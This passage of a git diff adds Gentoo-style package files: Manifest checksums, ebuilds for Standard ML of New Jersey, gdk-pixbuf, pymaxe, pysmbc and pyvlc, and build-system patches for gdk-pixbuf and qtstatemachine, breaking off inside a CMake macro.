3c452eadc0da4eda4f1de1fe5c842eb42b88e1ea1fefe3212f82827052cfe1b0 SHA512 e1d5d2e169dbe799a64d983359e52acf326fae4f18c7c2444d94d792bd383365ac6a0c382dac3ed94ccbb8f8b29ba785517a6f94ee5f733b9a06ef0da85537a3 WHIRLPOOL c702578aaef2a2641424cc11c375bb7d62d7bb879ea42a8f6e2d6a3251be40b23cf909aeccb84015cac17e578d2c38de95f958b4d30f0cfa190e4075df558ea8 +DIST smlnj-110.75-eXene.tgz 703097 SHA256 f7fe66c65fbf2c32ec4a13b8600a86d9c6aa0acbd937cd27668036d6bc146908 SHA512 091fa935d731c4a07934a09a5b28c99bb1f79407ceeb3f68b4dd8877d0b29042f56afaa4f0d5a048ce0f203d185972622fefcc701f8359677e28d06953a861e8 WHIRLPOOL 5b860590aae60e6ba2441a577ab8e248cdd727e7b8751a3d12f9cc5077409c504dbc67480491e30066aa145ce92935b821e4eb4031b196ee1c4f5d30a5296532 +DIST smlnj-110.75-heap2asm.tgz 1315 SHA256 bca547875d99ae601a141b08319f716205b096560a13b3b7ec4298b25c4a742d SHA512 d2578a32c99ce5e81904eff7203df9550c4539be43a0a3252109fb2adc4862864c70c37ba89b2ebe68fdb21171430b4d13e44fc4860639ef960e81f01ac3749a WHIRLPOOL 30e5d82df273001766c617b1876b4801e9bd681d802cee5bb14c5eaa6f702fe505521380868b91956d08191134e615bccc5199c2fcdfa3574c4b96bd00636637 +DIST smlnj-110.75-ml-burg.tgz 36339 SHA256 d65e37281de97d3501356e6f5e842e3b247fb1a2f5580cc419d44d4f3f060e5f SHA512 a38a73c76e9b482cbec396cd445c058ef0db5e732900ee0597e52fd3af97acac5b78629af1e8e038b9cb9a403beed7524345c5e38f4a49b7602d73daee8fea2d WHIRLPOOL b5362de4a2a8f72472d773d5d15b9725118ac5a4f6235d652d33b55aac0fe227d132974ba24eab1b5e9f025cf853820a7543a1e051a7223dae657b991b5cd3ee +DIST smlnj-110.75-ml-lex.tgz 33154 SHA256 307628841271f942df4db0d782e164f25a9fb07ce12b2083e4d6eef898c07266 SHA512 2840117c2891d09acb762cd7f161a15cd9351478a007d08c8d1c2be1e828b1175fb31f427e0a6eeb96cbadf7b92da1dda23b3ff3a7123c1c800892157fd58fa6 WHIRLPOOL 1358132f0bac81400886fa988e3f479d3d33dc89954dadc6e209ad16a740917d91a367df3b163d74900bdcad2ea1759ee6167370ece0ccfc8b836581cffafb2a +DIST smlnj-110.75-ml-lpt.tgz 256313 SHA256 2a8138c219dd5f42970c1a8ed9fb1e00dcf45d450c5f129bfb184819c36a2c06 SHA512 b36b8250862d0d9eb6e4576ab47e20b535095c8ab7c1cae913f7e8748f7677cf89dce0061fabe56dbda0df3ae0311970adbb0bd96630aa638ea5652277d978b6 WHIRLPOOL 741372a65ac3ba42df836ab975dc087a8838e48c403eaeb5bd0a9576ff37d9ff0027205d74494fc0b032bdd1b8f8e3be0a94a14026b5cdea46a52fa63b84976f +DIST smlnj-110.75-ml-yacc.tgz 99940 SHA256 bd9b35557c520af1251a19b096ec0106bc6c03b7ebab2cf1391649c5c6b222f3 SHA512 930dc545e49769a3d153753e19da1352fafea621f17d86881d5454d2d27f601e517fec09bd49ec732db4d311621e6cf8c26f714b095b9e07147bbe3b6ec885c2 WHIRLPOOL 410c0195b16584ebc113bf554bf4b6da7f4d2fdda0c1d19805b006e18d85ede572f0bd4e1dbbf4622d157915cadb0d69d7bb0aa5ca4718be196ecc53a8283606 +DIST smlnj-110.75-nlffi.tgz 74481 SHA256 0daea7803edb7e836d45676d00e8c2cef1439daff89eaccda608144d23ad82d6 SHA512 bfaa0e4ddc43d3695ef2be5cc74218435f6004b99a07ec585ec65158eaeb22ac7309ee9d584e880048655eb7110866ec25055fcc196b5d904510cf0c4c498eb5 WHIRLPOOL 0d6eddab0ee64aeb81143cc17c6f12df7e63af8548a62339960035fcc500d25b33c181e0c58817e04de5bc0be099bb13314daa5463957101b9ba87ff5101ad1d +DIST smlnj-110.75-pgraph.tgz 5439 SHA256 71ccfbc78227dbc9ddac08bdc6c3bf01c7e1139ee84706a0e8572a0653c8b80f SHA512 cf8de19c5d3f258cc6fa145d837bf8e307e04577ab45e20861f53fc47612c2238cc5c1964ad3f1697dceb1d56b84c1d0d1e9ecd5da8dfb7ad24b1946b82691e8 WHIRLPOOL caef565f6abf5506f2ac2a660843e1b698294d8b96e855177992a1b69d89bfcf40e0c426e7dcf5fa7d8ba1e9a6524405b2cd813881f8bb554e619608986cd24c +DIST smlnj-110.75-runtime.tgz 324054 SHA256 30fe442f42414908df3377a06c8e79af569ea13a43c9a7d3bbf052debbdec412 SHA512 65b05ceb31d719874c5b06ebaf4179c1e1b12da648635332eb4bdd5ffc5af86a00f7e8c45062d9f03e9a445f9eefe741c92f7ca207beecf31733a3a849902aaa WHIRLPOOL 27a0f5c318a4bcfd5514a711f2fcc17258514c8f4ec5b429273f13ea0bfbf8de304a15be6de6a91a7f33d923f86aeeb2a906ea0816e7f1a70d1f650164471541 +DIST smlnj-110.75-smlnj-c.tgz 10531 SHA256 a8645509f80fad32fa3e50cc26015b179952ba63d72a89c1f280a464a6585d76 SHA512 ada4f0055f4f3f49c05ad4b55edfbda6cc7534491c1d304d7f51977170a3f68f367e1cba6a75d145b2ba497ca25bbb793c84f0bc7eeea0ad9657eecd72f85b87 WHIRLPOOL 5fe6d0d9c6378377968f82650f2ccf3aaba4f1c88b4718256b03dcae622adf3bb74356975271ab7450d3d888cb734d3eee047abf33f5b6740d847f4cc32b1d03 +DIST smlnj-110.75-smlnj-lib.tgz 396628 SHA256 2f8196ce2f7509c0ac0a0a69107c1d681554d1c58ba1bee92ef833816341caed SHA512 47d20c09fbd0a6e59db429e02b55b6307f5c61a9166bfc839261a21267da6e4ca0f99aa1080b2a8556a6046818177ad61b854a2dac0248b17a2ef79eac4ad35d WHIRLPOOL 9236dad0c616d2f680d0fd8efdf7d1aafb4a69afa26a676f0d90680b7dae1c5099313873e1e44546493090d8f3a99db01d7d22847ea8be046f7f891a35a6db5c +DIST smlnj-110.75-system.tgz 227376 SHA256 973f5ebd3b9823365b9dadbf370c0aa131df94d4d80ada660bb05a3010776a2e SHA512 ee6a941f269d51bdd48328c35ae642d6b5f35ef7e9516fef58fad7f6ac3b4a527678265eb7a8a9783eb5e483713fbade17cd6e204234fb9419ad430e42a536a4 WHIRLPOOL a8000d6f22a539922033e740f262b8bb0832d25fd1ba204aed53f4d979d7a2193a7b49b73187c9e4621407d43dd9aeec680b1c57780279fab81549dba29db8f1 +DIST smlnj-110.75-trace-debug-profile.tgz 3902 SHA256 e04a6740166d7f2da41923400fae3b9661d1e52dce4f64efff3a3780c9a6a43c SHA512 b2eed46e58f7b2dd6857debea4ae329dcc79946bd59a63747746d916b2dc29866d3e23a3accd678a981f2ebed0924d1fe1d03744000e877313abc33b144ec694 WHIRLPOOL a4d357c718259d076cad19174d2b4e5ae5949fe47314dca261cf16c5c37c788b5ab43c6f75ca2e37ada45ac67ac0d13df86a2c4cf2a1a4ad046912b0dc22d1c5 +EBUILD smlnj-110.75.ebuild 2669 SHA256 c032ad2916b55e43aa0619f088772489366af692ae15b97cb8ef17d521b38a41 SHA512 f212d97e26a0260ed4063e1bca1a1dcd3671c47bcebd70a10f1f3ea08c9048da46aadda83b9727558a8769fca415f2b9463d43f4d0a01f790d7a0a204287647b WHIRLPOOL c3e19db105fb61f3fba190bec6e8b3be3220af25c391c19fab18f54813bf8ecc0bca5fe68d5bba5c9081237a45df37c5e2507b1451fcd9ace8909245da6f5913 diff --git a/dev-lang/smlnj/smlnj-110.75.ebuild b/dev-lang/smlnj/smlnj-110.75.ebuild new file mode 100644 index 00000000..1a61ddb2 --- /dev/null +++ b/dev-lang/smlnj/smlnj-110.75.ebuild @@ -0,0 +1,113 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/dev-lang/smlnj/smlnj-110.75.ebuild,v 1.4 2012/10/22 12:14:09 hkbst Exp $ + +EAPI="4" + +inherit eutils toolchain-funcs + +DESCRIPTION="Standard ML of New Jersey compiler and libraries" +HOMEPAGE="http://www.smlnj.org" + +BASE_URI="http://smlnj.cs.uchicago.edu/dist/working/${PV}" + +FILES=" +config.tgz + +cm.tgz +compiler.tgz +runtime.tgz +system.tgz +MLRISC.tgz +smlnj-lib.tgz + +ckit.tgz +nlffi.tgz + +cml.tgz +eXene.tgz + +ml-lex.tgz +ml-yacc.tgz +ml-burg.tgz +ml-lpt.tgz + +pgraph.tgz +trace-debug-profile.tgz + +heap2asm.tgz + +smlnj-c.tgz +" + +#use amd64 in 32-bit mode +SRC_URI="amd64? ( ${BASE_URI}/boot.x86-unix.tgz -> ${P}-boot.x86-unix.tgz ) + ppc? ( ${BASE_URI}/boot.ppc-unix.tgz -> ${P}-boot.ppc-unix.tgz ) + sparc? ( ${BASE_URI}/boot.sparc-unix.tgz -> ${P}-boot.sparc-unix.tgz ) + x86? ( ${BASE_URI}/boot.x86-unix.tgz -> ${P}-boot.x86-unix.tgz )" + +for file in ${FILES}; do + SRC_URI+=" ${BASE_URI}/${file} -> ${P}-${file} " +done + +LICENSE="BSD" +SLOT="0" + +#sparc support should be there but is untested +KEYWORDS="-* ~amd64 ~ppc ~x86" +IUSE="" + +S=${WORKDIR} + +src_unpack() { + mkdir -p "${S}" + for file in ${A}; do + [[ ${file} != ${P}-config.tgz ]] && cp "${DISTDIR}/${file}" "${S}/${file#${P}-}" + done + +# make sure we don't use the internet to download anything + unpack ${P}-config.tgz && rm config/*.bat + echo SRCARCHIVEURL=\"file:/${S}\" > "${S}"/config/srcarchiveurl +} + +DIR=/usr + +src_prepare() { + # respect CC et al. (bug 243886) + mkdir base || die # without this unpacking runtime will fail + ./config/unpack "${S}" runtime || die + for file in mk.*; do + sed -e "/^AS/s:as:$(tc-getAS):" \ + -e "/^CC/s:gcc:$(tc-getCC):" \ + -e "/^CPP/s:gcc:$(tc-getCC):" \ + -e "/^CFLAGS/{s:-O[0123s]:: ; s:=:= ${CFLAGS}:}" \ + -i base/runtime/objs/${file} + done + +# # stash bin and lib somewhere (bug 248162) +# sed -e "/@BINDIR@/s:\$BINDIR:${DIR}:" \ +# -e "/@LIBDIR@/s:\$LIBDIR:${DIR}/lib:" \ +# -i config/install.sh || die +} + +src_compile() { + SMLNJ_HOME="${S}" ./config/install.sh || die "compilation failed" +} + +src_install() { + mkdir -p "${D}"/${DIR} || die + mv bin lib "${D}"/${DIR} || die + +# for file in "${D}"/${DIR}/bin/*; do +# dosym /${DIR}/bin/$(basename "${file}") /usr/bin/$(basename "${file}") || die +# done + +# for file in $(find "${D}"/usr/lib/${PN}/bin/ -maxdepth 1 -type f ! -name ".*"); do +# dosym /${DIR}/bin/$(basename "${file}") /usr/bin/$(basename "${file}") || die +# done + + for file in "${D}"/usr/bin/{*,.*}; do + [[ -f ${file} ]] && sed "2iSMLNJ_HOME=/usr" -i ${file} + # [[ -f ${file} ]] && sed "s:${WORKDIR}:/usr:" -i ${file} + done +} diff --git a/dev-python/gdk-pixbuf/GENTOO b/dev-python/gdk-pixbuf/GENTOO new file mode 100644 index 00000000..e69de29b diff --git a/dev-python/gdk-pixbuf/Manifest b/dev-python/gdk-pixbuf/Manifest new file mode 100644 index 00000000..0862a829 --- /dev/null +++ b/dev-python/gdk-pixbuf/Manifest @@ -0,0 +1,5 @@ +AUX gdk-pixbuf-2.21.4-fix-automagic-x11.patch 715 RMD160 efeaa25e97e7620018ae3ca5b62d74ff6e0fd0d1 SHA1 d67d28548ce340034f5afb0ca07b699fd1a0619e SHA256 e977da6d4731a0164b7346a790dfabb95a951f9986fa623abd171bce79f63bcb +DIST gdk-pixbuf-2.24.0.tar.xz 1176324 RMD160 38e9896dd9a1ed6bf207509cd635828cebe674b8 SHA1 6a78751630a54fdef9a6a3928322c98e6c1ef60c SHA256 67c11d3aa40441c1cea42c365bf2d6a9a9dd52fae2d359a707ad5e8abb4d28a7 +EBUILD gdk-pixbuf-2.24.0-r1.ebuild 2845 RMD160 ccc538a207cd1dafbd668c3e94f14444a3fd8984 SHA1 64581e96f97860094003d33adb637cbc5fd83c86 SHA256 d125f224debd09c13f841a59d09c9db6c385907e897534173a8736c144a2e798 +MISC GENTOO 0 RMD160 9c1185a5c5e9fc54612808977ee8f548b2258d31 SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +MISC metadata.xml 285 RMD160 829826c3a3edd13d82bf87a4e6c1c08719f1549f SHA1 03e8b2cfc1956cfea91e8cedfa2451e68b2bf8e5 SHA256 8400998fc578bc9661b57a27ed3226941e4f75ef5bf7d9f929ed9de2d97ba8b0 diff --git a/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch b/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch new file mode 100644 index 00000000..ae7ec2c9 --- /dev/null +++ b/dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch @@ -0,0 +1,24 @@ +Adds a new configure option to remove the automagic dependency on libX11. + +--- configure.ac ++++ configure.ac +@@ -929,7 +929,18 @@ GDK_PIXBUF_XLIB_PACKAGES= + GDK_PIXBUF_XLIB_EXTRA_CFLAGS= + GDK_PIXBUF_XLIB_EXTRA_LIBS= + +-if $PKG_CONFIG --exists x11; then ++AC_ARG_WITH(x11, ++ AC_HELP_STRING([--with-x11=@<:@no/auto/yes@:>@], ++ [build X11 support @<:@default=auto@:>@]),, ++ [ ++ if $PKG_CONFIG --exists x11; then ++ with_x11=yes ++ else ++ with_x11=no ++ fi ++ ]) ++ ++if test x$with_x11 = xyes; then + AM_CONDITIONAL(USE_X11, true) + PKG_CHECK_MODULES(GDK_PIXBUF_XLIB_DEP, x11 gobject-2.0) + else diff --git a/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild b/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild new file mode 100644 index 00000000..f48dc30f --- /dev/null +++ b/dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild @@ -0,0 +1,93 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/x11-libs/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild,v 1.1 2011/09/15 19:40:37 ssuominen Exp $ + +EAPI="4" + +inherit gnome.org multilib libtool autotools + +DESCRIPTION="Image loading library for GTK+" +HOMEPAGE="http://www.gtk.org/" + +LICENSE="LGPL-2" +SLOT="2" +KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~sparc64-solaris ~x64-solaris ~x86-solaris" +IUSE="+X debug doc +introspection jpeg jpeg2k tiff test" + +COMMON_DEPEND=" + >=dev-libs/glib-2.27.2:2 + >=media-libs/libpng-1.4:0 + introspection? ( >=dev-libs/gobject-introspection-0.9.3 ) + jpeg? ( virtual/jpeg ) + jpeg2k? ( media-libs/jasper ) + tiff? ( >=media-libs/tiff-3.9.2 ) + X? ( x11-libs/libX11 )" +DEPEND="${COMMON_DEPEND} + >=dev-util/pkgconfig-0.9 + >=sys-devel/gettext-0.17 + >=dev-util/gtk-doc-am-1.11 + doc? ( + >=dev-util/gtk-doc-1.11 + ~app-text/docbook-xml-dtd-4.1.2 )" +# librsvg blocker is for the new pixbuf loader API, you lose icons otherwise +RDEPEND="${COMMON_DEPEND} + ! libpng15 upgrade + sed -i -e 's:libpng15:libpng libpng15:' configure.ac || die + + elibtoolize + eautoreconf +} + +src_configure() { + # png always on to display icons (foser) + local myconf=" + $(use_enable doc gtk-doc) + $(use_with jpeg libjpeg) + $(use_with jpeg2k libjasper) + $(use_with tiff libtiff) + $(use_enable introspection) + $(use_with X x11) + --with-libpng" + + # Passing --disable-debug is not recommended for production use + use debug && myconf="${myconf} --enable-debug=yes" + + econf ${myconf} +} + +src_install() { + emake DESTDIR="${D}" install + dodoc AUTHORS NEWS* README* + + # New library, remove .la files + find "${D}" -name '*.la' -exec rm -f '{}' + || die +} + +pkg_postinst() { + # causes segfault if set + unset __GL_NO_DSO_FINALIZER + + tmp_file=$(mktemp --suffix=gdk_pixbuf_ebuild) + # be atomic! + gdk-pixbuf-query-loaders > "${tmp_file}" + if [ "${?}" = "0" ]; then + cat "${tmp_file}" > "${EROOT}usr/$(get_libdir)/gdk-pixbuf-2.0/2.10.0/loaders.cache" + fi + rm "${tmp_file}" + + if [ -e "${EROOT}"usr/lib/gtk-2.0/2.*/loaders ]; then + elog "You need to rebuild ebuilds that installed into" "${EROOT}"usr/lib/gtk-2.0/2.*/loaders + elog "to do that you can use qfile from portage-utils:" + elog "emerge -va1 \$(qfile -qC ${EPREFIX}/usr/lib/gtk-2.0/2.*/loaders)" + fi +} diff --git a/dev-python/gdk-pixbuf/metadata.xml b/dev-python/gdk-pixbuf/metadata.xml new file mode 100644 index 00000000..e86947c9 --- /dev/null +++ b/dev-python/gdk-pixbuf/metadata.xml @@ -0,0 +1,9 @@ + + + + gnome + + Use dev-libs/gobject-introspection + for introspection + + diff --git a/dev-python/pymaxe/Manifest b/dev-python/pymaxe/Manifest new file mode 100644 index 00000000..2cbcfe25 --- /dev/null +++ b/dev-python/pymaxe/Manifest @@ -0,0 +1,2 @@ +DIST pymaxe.tar.gz 195654 SHA256 3532b56bf3fbf9188f81684cb4148099ea9fbb870234495dcdef095933724c36 SHA512 6f9bbdf2fe3b63cd1186c64716303a75dc1a69378cddca76abb5003ccd95d01741d637a36f6272c5377149c3517e2fb1fa105977e9b46bedf1e1ea81e9394471 WHIRLPOOL e7ce1674aa0cb5ed521beb04117d81401f9e6cd461eb7d60c3e5d4daaff3269abecedd95403fa924b3242a3b94b4331819e7e2478c891f7ba83c1139701f0d84 +EBUILD pymaxe-20130303.ebuild 476 SHA256 1c40a47ef9c64f6614bb65d970d455d3e7bc71127f07116fd8bfe18a5592dd3a SHA512 e87a3f5e375b1011839cb8642dd4b2459c2c898b12086945dcdd8aba58268a326e4dc22046de9b7f25dd0cb4e2cd990eaff8f974054533687e0e03d9fd9fec60 WHIRLPOOL 2fb9835b84c0a6bb51b0e9ee04e8e7ec2e5f0ba6c7e25aaa6e259d78a54970c53160f3447fc0046e4fa795d5220c39343d1bece6004a0dae73ef100d4cce13eb diff --git a/dev-python/pymaxe/pymaxe-20130303.ebuild b/dev-python/pymaxe/pymaxe-20130303.ebuild new file mode 100644 index 00000000..f84c8c1b --- /dev/null +++ b/dev-python/pymaxe/pymaxe-20130303.ebuild @@ -0,0 +1,30 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils + +RP="pymaxe" + +DESCRIPTION="Python support for Maxe" +HOMEPAGE="http://pymaxe.com" +SRC_URI="http://pymaxe.com/files/latest/${RP}.tar.gz -> ${PN}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="x11-libs/pango" +DEPEND="" + +S="${WORKDIR}" + +src_compile() { + cd "${S}" +} + +src_install() { + doins -r "${S}"/usr || die +} diff --git a/dev-python/pysmbc/Manifest b/dev-python/pysmbc/Manifest new file mode 100644 index 00000000..d96b52a1 --- /dev/null +++ b/dev-python/pysmbc/Manifest @@ -0,0 +1,2 @@ +DIST pysmbc-1.0.13.tar.bz2 20795 RMD160 ed573822da34210aa6e0f9c09159de75db0aa505 SHA1 bf37346af4a6b543f7f91c46d0d1d0cc6020db32 SHA256 479fbb70d97fb64208d95975dc745f06f75661f954a8cbb988fe8b5bce4f379b +EBUILD pysmbc-1.0.13.ebuild 409 RMD160 07a0d9727c3300ec4f57f1e00a9a865d71e52fb6 SHA1 995ae53230058273e1ea62f016be22608efc5d96 SHA256 2a863812aa96941b867446de0aea974bce5a8b9fa51144f395d5df66b9524e02 diff --git a/dev-python/pysmbc/pysmbc-1.0.13.ebuild b/dev-python/pysmbc/pysmbc-1.0.13.ebuild new file mode 100644 index 00000000..42d7bb73 --- /dev/null +++ b/dev-python/pysmbc/pysmbc-1.0.13.ebuild @@ -0,0 +1,21 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +PYTHON_DEPEND="2" + +inherit distutils + +DESCRIPTION="Python bindings for libsmbclient" +HOMEPAGE="https://fedorahosted.org/pysmbc" +SRC_URI="http://cyberelk.net/tim/data/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" + +pkg_setup() { + python_set_active_version 2 +} \ No newline at end of file diff --git a/dev-python/pyvlc/Manifest b/dev-python/pyvlc/Manifest new file mode 100644 index 00000000..0ab08d99 --- /dev/null +++ b/dev-python/pyvlc/Manifest @@ -0,0 +1,2 @@ +EBUILD pyvlc-1.0.ebuild 854 SHA256 4bc104f41d0b9efdca7c0c064e4160dc8ab0da58777cac8e6c95d9f02ce980ef SHA512 c41f96dbad375d9859d3cd9825b2ca6b053228f4e9291b9e2b3e6c71df022d074c1dd2c96934812950f4843d556fdcbc977d1a4c614be6f9064c3c5ad17f2852 WHIRLPOOL 6755d10ae194fbba7a47cf390755dd11bf774f6e7b389b53f18b341b66327d7e543ddc8758f6007f6119fab8750c3ab2f433df2ebc40bbdacf28c4fea35688ca +EBUILD pyvlc-9999.ebuild 854 SHA256 4bc104f41d0b9efdca7c0c064e4160dc8ab0da58777cac8e6c95d9f02ce980ef SHA512 c41f96dbad375d9859d3cd9825b2ca6b053228f4e9291b9e2b3e6c71df022d074c1dd2c96934812950f4843d556fdcbc977d1a4c614be6f9064c3c5ad17f2852 WHIRLPOOL 6755d10ae194fbba7a47cf390755dd11bf774f6e7b389b53f18b341b66327d7e543ddc8758f6007f6119fab8750c3ab2f433df2ebc40bbdacf28c4fea35688ca diff --git a/dev-python/pyvlc/pyvlc-1.0.ebuild b/dev-python/pyvlc/pyvlc-1.0.ebuild new file mode 100644 index 00000000..472927cc --- /dev/null +++ b/dev-python/pyvlc/pyvlc-1.0.ebuild @@ -0,0 +1,50 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit git-2 + +DESCRIPTION="Python binding to VLC library" +HOMEPAGE="http://wiki.videolan.org/Python_bindings" +EGIT_REPO_URI="git://git.videolan.org/vlc/bindings/python.git" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" +IUSE="generated examples wxwidgets qt4 gtk" + +DEPEND="media-video/vlc" +RDEPEND="${DEPEND} + examples? ( dev-python/pygtk )" +DOCS="README" + +S="${WORKDIR}"/${PN}-${PV} + +src_compile() { + cd "${EGIT_STORE_DIR}" + cd "${S}" +} + +src_install() { + cd "${S}" + + if use examples ; then + cd "${S}"/examples + ls -la + if use wxwidgets ; then + dodoc wxvlc.py + fi + if use qt4 ; then + dodoc qtvlc.py + fi + if use gtk ; then + dodoc gtkvlc.py + fi + fi + if use generated ; then + insinto "${S}"/generated + dodoc vlc.py + fi +} diff --git a/dev-python/pyvlc/pyvlc-9999.ebuild b/dev-python/pyvlc/pyvlc-9999.ebuild new file mode 100644 index 00000000..472927cc --- /dev/null +++ b/dev-python/pyvlc/pyvlc-9999.ebuild @@ -0,0 +1,50 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit git-2 + +DESCRIPTION="Python binding to VLC library" +HOMEPAGE="http://wiki.videolan.org/Python_bindings" +EGIT_REPO_URI="git://git.videolan.org/vlc/bindings/python.git" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" +IUSE="generated examples wxwidgets qt4 gtk" + +DEPEND="media-video/vlc" +RDEPEND="${DEPEND} + examples? ( dev-python/pygtk )" +DOCS="README" + +S="${WORKDIR}"/${PN}-${PV} + +src_compile() { + cd "${EGIT_STORE_DIR}" + cd "${S}" +} + +src_install() { + cd "${S}" + + if use examples ; then + cd "${S}"/examples + ls -la + if use wxwidgets ; then + dodoc wxvlc.py + fi + if use qt4 ; then + dodoc qtvlc.py + fi + if use gtk ; then + dodoc gtkvlc.py + fi + fi + if use generated ; then + insinto "${S}"/generated + dodoc vlc.py + fi +} diff --git a/dev-python/qtstatemachine/Manifest b/dev-python/qtstatemachine/Manifest new file mode 100644 index 00000000..aada8f2b --- /dev/null +++ b/dev-python/qtstatemachine/Manifest @@ -0,0 +1,6 @@ +AUX qstatemachines_add_CMake_support.patch_003 4827 RMD160 b462cf9d1c91cc6af0dfe0ffe1d4c1df68ec51ad SHA1 3323225f77d9fba7ec3431f53775883f0d15b439 SHA256 4822daf62e6e266e00220da108300e8c4cafadf2bcb08e973d9f721d004d357e +AUX qstatemachines_fix_compound_state.patch_002 2809 RMD160 87788328b902681f10c736f0a39d7b828509429a SHA1 ffed349fa3087f435b92eeb8c8c08074f9865f35 SHA256 58d9330eec0d22f9f54fb18276ea86fbaeee95a762a33a2d95c011270bbe3b40 +AUX qstatemachines_fix_history.patch_001 7507 RMD160 2417563f065816d8012587633e7fa921009676ee SHA1 e03a79b912a305ac0c8c3467994845a970fe0aaf SHA256 eec10835e5733dc9554cf7dd814bdad02f8183b28a32f949004059ce6ce30771 +DIST qtstatemachine-1.1-opensource.tar.gz 1339216 RMD160 102189d7bbb9d2260b1b15020f37f5a078dd8098 SHA1 25a748433bf1807165d176957710739a653c51a4 SHA256 141b78bccb709c203c62bb16c7a328b024d71e83263438e3e65d49c49d9486bd +EBUILD qtstatemachine-1.1-r1.ebuild 925 RMD160 1064b64d8dae03aa6b82bb2f85d5be32fdc96086 SHA1 73b7efa14d2af213faf4fb7d4696e3a0a523cea9 SHA256 0876be0b8faea518b038a5d880b8f9b55bdf61f4f1701ea0b36a821eb61d4fad +EBUILD qtstatemachine-1.1.ebuild 1024 RMD160 eced99f95ad1f4d24a9334acdcb73ebe37864b54 SHA1 64d9b1d191a6243bf14a889b8a0b5cbf65b6cbbb SHA256 da925a8b35bc4ca53f31486d03942192074ebd877798ad41dc0e51d5a8e5a188 diff --git a/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003 b/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003 new file mode 100644 index 00000000..d21e0126 --- /dev/null +++ b/dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003 @@ -0,0 +1,154 @@ +--- /dev/null 2009-07-25 12:29:44.706468311 +0200 ++++ CMakeLists.txt 2009-07-27 17:39:53.000000000 +0200 +@@ -0,0 +1,151 @@ ++cmake_minimum_required(VERSION 2.6) ++project(QtStateMachines) ++ ++# Setup Cmake ++set(CMAKE_MODULE_PATH ++ ${PyQtStateMachines_SOURCE_DIR}/cmake/Modules ++ ) ++ ++# Setup Qt4 ++find_package(Qt4 REQUIRED) ++set(QT_USE_QTDBUS 1) ++set(QT_USE_QTGUI 1) ++set(QT_USE_QTSHARED 1) ++set(QT_USE_QTSCRIPT 1) ++include(${QT_USE_FILE}) ++ ++add_definitions(-DQT_STATEMACHINE_SOLUTION -DQT_NO_ANIMATION -DQT_SCRIPT_LIB -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED) ++ ++include_directories( ++ ${CMAKE_CURRENT_SOURCE_DIR} ++ ${CMAKE_SOURCE_DIR}/src ++ ${QT_INCLUDE_DIR} ++ ${QT_QT_INCLUDE_DIR} ++ ${QT_QTCORE_INCLUDE_DIR} ++ ${CMAKE_CURRENT_BINARY_DIR}/src ++ ${CMAKE_CURRENT_BINARY_DIR} ++ ) ++ ++link_directories(${CMAKE_CURRENT_SOURCE_DIR}) ++ ++set(QtStateMachines_SOURCES ++ src/qabstractstate.cpp ++ src/qabstracttransition.cpp ++ src/qactionstate.cpp ++ src/qeventtransition.cpp ++ src/qfinalstate.cpp ++ src/qguistatemachine.cpp ++ src/qhistorystate.cpp ++ src/qscriptedstatemachine.cpp ++ src/qsignaltransition.cpp ++ src/qssmguiinvokers.cpp ++ src/qstateaction.cpp ++ src/qstate.cpp ++ src/qstatefinishedtransition.cpp ++ src/qstatemachine.cpp ++ src/qtransition.cpp ++) ++ ++ ++set(QtStateMachines_HEADERS ++ src/qabstractstate.h ++ src/qabstracttransition.h ++ src/qactionstate.h ++ src/qeventtransition.h ++ src/qfinalstate.h ++ src/qhistorystate.h ++ src/qscriptedstatemachine.h ++ src/qsignalevent.h ++ src/qsignaltransition.h ++ src/qstateaction.h ++ src/qstatefinishedevent.h ++ src/qstatefinishedtransition.h ++ src/qstate.h ++ src/qstatemachine.h ++ src/qtransition.h ++ src/qtstatemachineglobal.h ++) ++ ++MACRO(QT4_AUTOMOC_MY) ++ QT4_GET_MOC_FLAGS(_moc_INCS) ++ ++ SET(_matching_FILES ) ++ FOREACH (_current_FILE ${ARGN}) ++ ++ GET_FILENAME_COMPONENT(_abs_FILE ${_current_FILE} ABSOLUTE) ++ # if "SKIP_AUTOMOC" is set to true, we will not handle this file here. ++ # This is required to make uic work correctly: ++ # we need to add generated .cpp files to the sources (to compile them), ++ # but we cannot let automoc handle them, as the .cpp files don't exist yet when ++ # cmake is run for the very first time on them -> however the .cpp files might ++ # exist at a later run. at that time we need to skip them, so that we don't add two ++ # different rules for the same moc file ++ GET_SOURCE_FILE_PROPERTY(_skip ${_abs_FILE} 